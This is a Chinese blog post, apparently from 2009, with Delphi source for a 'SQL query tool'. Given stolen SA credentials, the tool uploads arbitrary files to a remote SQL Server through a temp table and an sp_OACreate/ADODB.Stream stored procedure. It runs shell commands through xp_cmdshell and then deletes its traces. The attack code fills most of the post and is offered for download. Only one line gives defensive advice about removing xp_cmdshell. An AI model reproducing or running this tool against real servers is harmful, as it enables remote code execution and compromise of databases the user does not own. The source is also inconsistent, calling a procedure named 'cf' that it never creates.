我记得有一种黑客工具,在得到对方SQL SERVER服务器的SA帐号和密码后竟可以通过它上传文件到对方
服务器上面,并远程执行DOS命令。当时觉得很好奇,当然作为程序员的我觉得很不爽,
赶快对SQL SERVER进行了一番研究,并整理出了这篇文章,希望对一些程序新手会有帮助。
写过数据库程序的朋友应该知道,我们可以往数据库中存取各种类型的资料数据
比如文本,整型,二进制等数据。
在这里通过SQL SERVER服务器远程上传文件的思路就是,
1、先通过SQL语句,在对方服务器上创建一临时表,
下面是创建临时表的过程:
procedure Create_temptable;
begin
try
query1.Close;
query1.SQL.Clear;
query1.SQL.Add('if exists (select * from dbo.sysobjects where id = object_id(N''[dbo].[temptable]'') and OBJECTPROPERTY(id, N''IsUserTable'') = 1)');
query1.SQL.Add('drop table [dbo].[temptable]');
query1.SQL.Add('CREATE TABLE [dbo].[temptable] (');
query1.SQL.Add('[filename] [varchar] (100) COLLATE Chinese_PRC_CI_AS NULL ,');
query1.SQL.Add('[ny] [image] NULL');
query1.SQL.Add(') ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]');
query1.ExecSQL;
except
on e:exception do
raise exception.Create(pchar('执行失败!下面是错误信息:'+#13+e.Message+#13 ));
end;
end;
在创建表时,我创建了两个字段,filename字段存储文件的文件名,ny字段存储文件的二进制数据。
2、往临时表内插入文件
procedure insert_file(filename:string);
var
openfile:tfilestream;
begin
try
openfile:=tfilestream.Create(filename,FmOpenRead); //创建文件流
query1.Close;
query1.SQL.Clear;
query1.sql.Add('insert into temptable (filename,ny) values(:x,:y)');
query1.Parameters.ParamByName('x').Value:=ExtractFileName(filename);
query1.Parameters.ParamByName('y').LoadFromStream(openfile,ftBlob);
query1.ExecSQL;
finally
freeandnil(openfile);
end;
end;
3、插入文件之后,就应该让服务器,自动去读取临时表内的内容,并把表内的二进制数据转储为文件,
这样就达到了将文件上传到服务器的目的。
我们知道,存储过程一般在服务器上运行,所以这个任务就交给存储过程啦,当然这个存储过程我们要自行创建才行,
它的作用就是从临时表内读出数据并保存为文件
下面的过程就是通过SQL语句在服务器上面创建存储过程。
procedure Create_proc; //创建保存文件存储过程。
begin
try
query1.Close;
query1.SQL.Clear;
query1.SQL.Add('CREATE PROCEDURE SCOFIELD'); //存储过程名
query1.SQL.Add('as');
query1.SQL.Add('begin');
query1.SQL.Add('DECLARE @myRecordset int,@Stream int,@Len int,@i int'); //--定义记录集,文件长度
query1.SQL.Add('DECLARE @value binary(8000)'); //--存放数据
query1.SQL.Add('DECLARE @constr varchar(200),@sql varchar(200)');
query1.SQL.Add('declare @filename varchar(200)');
query1.SQL.Add('set @constr=''Provider=SQLOLEDB.1;Data Source=(local);Initial Catalog=master;Integrated Security=SSPI;''');
query1.SQL.Add('set @sql=''select * from temptable''');
query1.SQL.Add('EXEC sp_OACreate ''ADODB.Recordset'',@myRecordset OUT');
query1.SQL.Add('EXEC sp_OAMethod @myRecordset,''open'',null,@sql,@constr');
query1.SQL.Add('EXEC sp_OAGetProperty @myRecordset, ''Fields.item(0).value'',@filename out'); //取出上传的文件名
query1.SQL.Add('EXEC sp_OAGetProperty @myRecordset, ''Fields.item(1).ActualSize'',@len out');
query1.SQL.Add('EXEC sp_OACreate ''ADODB.Stream'', @Stream OUT');// --建立数据流
query1.SQL.Add('EXEC sp_OASetProperty @Stream, ''mode'',3'); //--读/写状态
query1.SQL.Add('EXEC sp_OASetProperty @Stream, ''type'',1');// --1是流 2是文本
query1.SQL.Add('EXEC sp_OAMethod @Stream,''open'''); // --打开流
query1.SQL.Add('set @i=0');
query1.SQL.Add('while @Len > @i');// --循环写入数据
query1.SQL.Add('begin');
query1.SQL.Add('EXEC sp_OAGetProperty @myRecordset, ''Fields.item(1).GetChunk'', @Value OUT,8000');
query1.SQL.Add('EXEC sp_OAMethod @Stream,''write'',null,@Value'); // --写入流
query1.SQL.Add('set @i=@i+8000');
query1.SQL.Add('end');
query1.SQL.Add('EXEC sp_OASetProperty @Stream,''Position'',@Len');// --移动数据到结尾处
query1.SQL.Add('EXEC sp_OAMethod @Stream,''SetEos'''); // --截断数据
// query1.SQL.Add('set @filename=''c:\ '' + @filename'); // --保存路径,不设置将存储在SYSTEM32下面
query1.SQL.Add('EXEC sp_OAMethod @Stream,''SaveToFile'',null,@filename,2'); //--保存为文件
query1.SQL.Add('exec sp_OADestroy @myRecordset');
query1.SQL.Add('exec sp_OADestroy @Stream');
query1.SQL.Add('select output=''命令成功''');
query1.SQL.Add('end');
query1.ExecSQL;
except
end;
end;
4、保存文件的存储过程我们也建好了,
也到了执行它的时候了....
下面这个过程是用来执行存储过程的
procedure Create_file; //执行存储过程创建文件
begin
try
query1.Close;
query1.SQL.Clear;
query1.sql.Add('exec SCOFIELD'); //执行存储过程
query1.ExecSQL;
except
end;
end;
执行完存储过程后,我们的文件就己经上传OK啦,
不过不擦屁股可不是好习惯,
我们还应该删除刚才创建的临时表和存储过程。
删除临时表的过程:
procedure Del_temptable; //删除临时表
begin
try
query1.Close;
query1.SQL.Clear;
query1.SQL.Add('if exists (select * from dbo.sysobjects where id = object_id(N''[dbo].[temptable]'') and OBJECTPROPERTY(id, N''IsUserTable'') = 1)');
query1.SQL.Add('drop table [dbo].[temptable]');
query1.ExecSQL;
except
on e:exception do
raise exception.Create(pchar('执行失败!下面是错误信息:'+#13+e.Message+#13 ));
end;
end;
删除存储过程的过程:
procedure del_proc;
begin
try
query1.Close;
query1.SQL.Clear;
query1.sql.Add('if exists (select * from dbo.sysobjects where id = object_id(N''[dbo].[SCOFIELD]'') and OBJECTPROPERTY(id, N''IsProcedure'') = 1)');
query1.sql.Add('drop procedure [dbo].[SCOFIELD]');
query1.ExecSQL;
except
end;
end;
大功告成,现在你发现只要按照上面过程的执行顺序执行,就可以顺利的通过SQL SERVER上传文件到服务器了。
上面的QUERY1对象是DELPHI中的ADOQUERY控件,如果你还不会使用,请先去翻翻书。
下面再来研究一下如何通过SQL SERVER 远程地执行DOS命令,
其实很简单,在SQLSERVER中,有一xp_cmdshell的存储过程,
通过该存储过程,我们可以在通过SQL SERVER在服务器上执行任何的DOS命令,
通过SQL语句的执行,我们可以很方便地在对方服务器上面执行DOS命令,
像这样:
query1.Close;
query1.SQL.Clear;
query1.SQL.Add('exec master..xp_cmdshell '''+ 这里存放的就是要执行的DOS命令了 +'''';);
query1.open;
一条SQL语句搞定。
如果你是一名网络管理员,为了服务器的安全请检查你的SQL SERVER是否还存在此存储过程。
如果有删除它就行了,不会有什么影响,或是卸载xpsql70.dll这个动态链接库就OK了。
为此,我将自己平常用的的一个SQL查询器也加上了此功能,并贴上源代码,希望能够一些程序新手带来帮助。
下面是查询器的源代码:
unit Unit1;
//------------------------------------------------------------------------------
// Author : SCOFIELD QQ:19154194
// UpDate : 2009-05-20
// Name : SCOFIELD SQL 查询器
// Version : 1.0.0.0
//------------------------------------------------------------------------------
interface
uses
Windows, Messages, SysUtils, Forms,
StdCtrls, DB, ADODB, DBGridEh,xpman,
DBGRids,DBGridEhImpExp, Classes, Dialogs, ExtCtrls, Grids, Controls;
type
TForm1 = class(TForm)
Label1: TLabel;
Button1: TButton;
memo1: TMemo;
con1: TADOConnection;
Query1: TADOQuery;
GroupBox1: TGroupBox;
GroupBox2: TGroupBox;
GroupBox3: TGroupBox;
DBGridEh1: TDBGridEh;
Panel1: TPanel;
Button2: TButton;
Button3: TButton;
Button4: TButton;
DataSource1: TDataSource;
Button5: TButton;
Button6: TButton;
Open1: TOpenDialog;
Edit1: TEdit;
Label2: TLabel;
Label3: TLabel;
ComboBox1: TComboBox;
ComboBox2: TComboBox;
Query2: TADOQuery;
Button7: TButton;
SaveDialog1: TSaveDialog;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button5Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure Button4Click(Sender: TObject);
procedure Button6Click(Sender: TObject);
procedure Create_temptable; //创建临时表
procedure Del_temptable;
procedure insert_file(filename:string); //插入文件
procedure Create_file; //创建文件
procedure Create_proc;
procedure del_proc;
procedure Button7Click(Sender: TObject);
procedure ComboBox1Change(Sender: TObject);
procedure FormCreate(Sender: TObject); //删除存储过程。
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
ip,name,pwd,sql,table:string;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
begin
if (combobox1.Text='表名') and (trim(memo1.Lines.Text)='') then exit;
//查询时显示列头标题
DBGridEh1.Options:=DBGridEh1.Options+[dgTitles] ;
try
query1.Close;
query1.SQL.Clear;
if trim(memo1.Lines.Text)='' then begin
if (combobox1.Text<>'表名') and (combobox1.text<>'') then begin
if (combobox2.text<>'字段名') and (combobox2.Text<>'') then
sql:='select '+combobox2.Text+' from '+combobox1.Text
else
sql:='select * from '+combobox1.Text;
end;
end
else
begin
sql:=memo1.Lines.Text;
end;
query1.SQL.Add(sql);
query1.OPEN;
if query1.RecordCount>0 then button7.Enabled:=true else button7.Enabled:=false;
except
on e:exception do
raise exception.Create(pchar('执行失败!下面是错误信息:'+#13+e.Message+#13 ));
end;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
if (combobox1.Text='表名') and (trim(memo1.Lines.Text)='') then exit;
try
sql:=memo1.Lines.Text;
query1.Close;
query1.SQL.Clear;
query1.SQL.Add(sql);
query1.ExecSQL;
except
on e:exception do
raise exception.Create(pchar('执行失败!下面是错误信息:'+#13+e.Message+#13 ));
end;
application.MessageBox ('执行成功','执行成功',mb_ok);
end;
procedure TForm1.Button5Click(Sender: TObject);
var
constr:string;
i:integer;
TableList:TStringList;
begin
TableList:=Tstringlist.Create;
constr:=PromptDataSource(Handle,'');
if constr='' then begin
button1.Enabled:=false;
button2.Enabled:=false;
button3.Enabled:=false;
button6.Enabled:=false;
exit;
end
else
begin
if pos('SQLOLEDB',constr)<>0 then begin //如果为SQLSEVER,则显示上传按钮
button3.Enabled:=true;
button6.Enabled:=true;
end
else
begin
button3.Enabled:=false;
button6.Enabled:=false;
end;
button1.Enabled:=true;
button2.Enabled:=true;
end;
edit1.Text:=constr;
try
con1.Close;
query1.Close;
con1.ConnectionString:=constr;
con1.Open;
query1.Connection:=con1;
application.MessageBox ('连接成功','连接成功',mb_ok);
except
on e:exception do
raise exception.Create(pchar('无法连接!下面是错误信息:'+#13+e.Message+#13 ))
end;
//下面开始检测表名
con1.GetTableNames(TableList,false);
combobox1.Items.Clear;
combobox1.Items.AddStrings(Tablelist);
combobox1.Text:='表名';
combobox2.Items.Clear;
combobox2.Text:='字段名';
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
DBGridEh1.Options:=DBGridEh1.Options-[dgTitles] ;
try
sql:='exec master..xp_cmdshell '''+memo1.Lines.Text+'''';
query1.Close;
query1.SQL.Clear;
query1.SQL.Add(sql);
query1.open;
if query1.RecordCount>0 then button7.Enabled:=true else button7.Enabled:=false;
except
on e:exception do
raise exception.Create(pchar('执行失败!下面是错误信息:'+#13+e.Message+#13 ));
end;
end;
procedure TForm1.Button4Click(Sender: TObject);
begin
memo1.Text:='';
end;
//上传文件到服务器
procedure TForm1.Button6Click(Sender: TObject);
begin
if not open1.Execute then exit;
//下面创建临时表
self.Create_temptable;
self.Create_proc; //创建存储过程
self.insert_file(open1.FileName); //插入文件
self.Create_file; //执行存储过程,下载文件
self.Del_temptable; //删除临时表
self.del_proc; //删除存储过程。
end;
procedure Tform1.Create_temptable; //创建临时表
begin
try
query1.Close;
query1.SQL.Clear;
query1.SQL.Add('if exists (select * from dbo.sysobjects where id = object_id(N''[dbo].[temptable]'') and OBJECTPROPERTY(id, N''IsUserTable'') = 1)');
query1.SQL.Add('drop table [dbo].[temptable]');
query1.SQL.Add('CREATE TABLE [dbo].[temptable] (');
query1.SQL.Add('[filename] [varchar] (100) COLLATE Chinese_PRC_CI_AS NULL ,');
query1.SQL.Add('[ny] [image] NULL');
query1.SQL.Add(') ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]');
query1.ExecSQL;
except
on e:exception do
raise exception.Create(pchar('执行失败!下面是错误信息:'+#13+e.Message+#13 ));
end;
end;
procedure Tform1.Del_temptable; //删除临时表
begin
try
query1.Close;
query1.SQL.Clear;
query1.SQL.Add('if exists (select * from dbo.sysobjects where id = object_id(N''[dbo].[temptable]'') and OBJECTPROPERTY(id, N''IsUserTable'') = 1)');
query1.SQL.Add('drop table [dbo].[temptable]');
query1.ExecSQL;
except
on e:exception do
raise exception.Create(pchar('执行失败!下面是错误信息:'+#13+e.Message+#13 ));
end;
end;
procedure tform1.insert_file(filename:string); //插入文件
var
openfile:tfilestream;
begin
try
openfile:=tfilestream.Create(filename,FmOpenRead); //以只读方式打开;
query1.Close;
query1.SQL.Clear;
query1.sql.Add('insert into temptable (filename,ny) values(:x,:y)');
query1.Parameters.ParamByName('x').Value:=ExtractFileName(filename);
query1.Parameters.ParamByName('y').LoadFromStream(openfile,ftBlob);
query1.ExecSQL;
finally
freeandnil(openfile);
end;
end;
procedure Tform1.Create_proc; //创建存储过程。
begin
try
query1.Close;
query1.SQL.Clear;
query1.SQL.Add('CREATE PROCEDURE SCOFIELD');
query1.SQL.Add('as');
query1.SQL.Add('begin');
query1.SQL.Add('DECLARE @myRecordset int,@Stream int,@Len int,@i int'); //--定义记录集,文件长度
query1.SQL.Add('DECLARE @value binary(8000)'); //--存放数据
query1.SQL.Add('DECLARE @constr varchar(200),@sql varchar(200)');
query1.SQL.Add('declare @filename varchar(200)');
query1.SQL.Add('set @constr=''Provider=SQLOLEDB.1;Data Source=(local);Initial Catalog=master;Integrated Security=SSPI;''');
query1.SQL.Add('set @sql=''select * from temptable''');
query1.SQL.Add('EXEC sp_OACreate ''ADODB.Recordset'',@myRecordset OUT');
query1.SQL.Add('EXEC sp_OAMethod @myRecordset,''open'',null,@sql,@constr');
query1.SQL.Add('EXEC sp_OAGetProperty @myRecordset, ''Fields.item(0).value'',@filename out'); //取出文件名
query1.SQL.Add('EXEC sp_OAGetProperty @myRecordset, ''Fields.item(1).ActualSize'',@len out');
query1.SQL.Add('EXEC sp_OACreate ''ADODB.Stream'', @Stream OUT');// --建立数据流
query1.SQL.Add('EXEC sp_OASetProperty @Stream, ''mode'',3'); //--读/写状态
query1.SQL.Add('EXEC sp_OASetProperty @Stream, ''type'',1');// --1是流 2是文本
query1.SQL.Add('EXEC sp_OAMethod @Stream,''open'''); // --打开流
query1.SQL.Add('set @i=0');
query1.SQL.Add('while @Len > @i');// --循环写入数据
query1.SQL.Add('begin');
query1.SQL.Add('EXEC sp_OAGetProperty @myRecordset, ''Fields.item(1).GetChunk'', @Value OUT,8000');
query1.SQL.Add('EXEC sp_OAMethod @Stream,''write'',null,@Value'); // --写入流
query1.SQL.Add('set @i=@i+8000');
query1.SQL.Add('end');
query1.SQL.Add('EXEC sp_OASetProperty @Stream,''Position'',@Len');// --移动数据到结尾处
query1.SQL.Add('EXEC sp_OAMethod @Stream,''SetEos'''); // --截断数据
// query1.SQL.Add('set @filename=''c:\ '' + @filename'); // --保存路径
query1.SQL.Add('EXEC sp_OAMethod @Stream,''SaveToFile'',null,@filename,2'); //--另存为文件
query1.SQL.Add('exec sp_OADestroy @myRecordset');
query1.SQL.Add('exec sp_OADestroy @Stream');
query1.SQL.Add('select output=''命令成功''');
query1.SQL.Add('end');
query1.ExecSQL;
except
end;
end;
procedure TForm1.Create_file; //创建文件 ,执行存储过程。
begin
try
query1.Close;
query1.SQL.Clear;
query1.sql.Add('exec cf');
query1.ExecSQL;
except
end;
end;
procedure Tform1.del_proc; //删除存储过程。
begin
try
query1.Close;
query1.SQL.Clear;
query1.sql.Add('if exists (select * from dbo.sysobjects where id = object_id(N''[dbo].[SCOFIELD]'') and OBJECTPROPERTY(id, N''IsProcedure'') = 1)');
query1.sql.Add('drop procedure [dbo].[SCOFIELD]');
query1.ExecSQL;
except
end;
end;
//将查询出来的数据保存为EXCEL表格
procedure TForm1.Button7Click(Sender: TObject);
var
ExcelName:string;
begin
if DBGridEh1.RowCount<=1 then exit;
SaveDialog1.Filter:='Excel 文件 (*.XLS)|*.XLS';
if (combobox1.Text<>'表名') and (combobox1.Text<>'') then
SaveDialog1.FileName := combobox1.Text else SaveDialog1.FileName:='book1';
if SaveDialog1.Execute then begin
ExcelName:=SaveDialog1.FileName+'.XLS';
IF length(excelname)>0 THEN begin
SaveDBGridEhToExportFile(TDBGridEhExportAsXLS, DBGridEh1,ExcelName, True);
application.MessageBox ('保存成功!','保存EXCEL文件成功',mb_ok+MB_ICONASTERISK);
end;
end;
end;
procedure TForm1.ComboBox1Change(Sender: TObject);
var tablename:string;
flist:Tstringlist;
begin
if combobox1.Text='' then exit;
tablename:=combobox1.Text;
if tablename='表名' then exit;
query2.Connection:=con1;
query2.Close;
query2.SQL.Clear;
query2.SQL.Add('select top 1 * from '+tablename);
query2.Open;
flist:=Tstringlist.Create;
//下面检测字段名
query2.GetFieldNames(flist);
combobox2.Items.Clear;
combobox2.Items.AddStrings(flist);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
button1.Enabled:=false;
button2.Enabled:=false;
button3.Enabled:=false;
button6.Enabled:=false;
button7.Enabled:=false;
end;
end.
程序中使用了DBGridEh控件,请自行下载,
程序写的时候没有考虑得很全面,欢迎大家对它改进,并发一份副本给我。
此查询器可以查看各种数据格式的数据库文件,并支持SQL语句的执行,自动检测出数据库内包含的各表名,字段名,
并可将查询出来的结果保存为EXCEL表格。希望能给朋友们带来工作上的帮助。
其中
COMMAND是用来执行DOS命令的,
Upload File是用来上传文件到对方SQL SERVER服务器的
查询器下载地址:
如果有任何疑问或问题,大家可以加我的QQ:19154194 进行交流。
以上文章和代码以及工具仅为学习和技术交流之用,如若有人利用上面的代码或工具从事非法活动,一概与本人无关。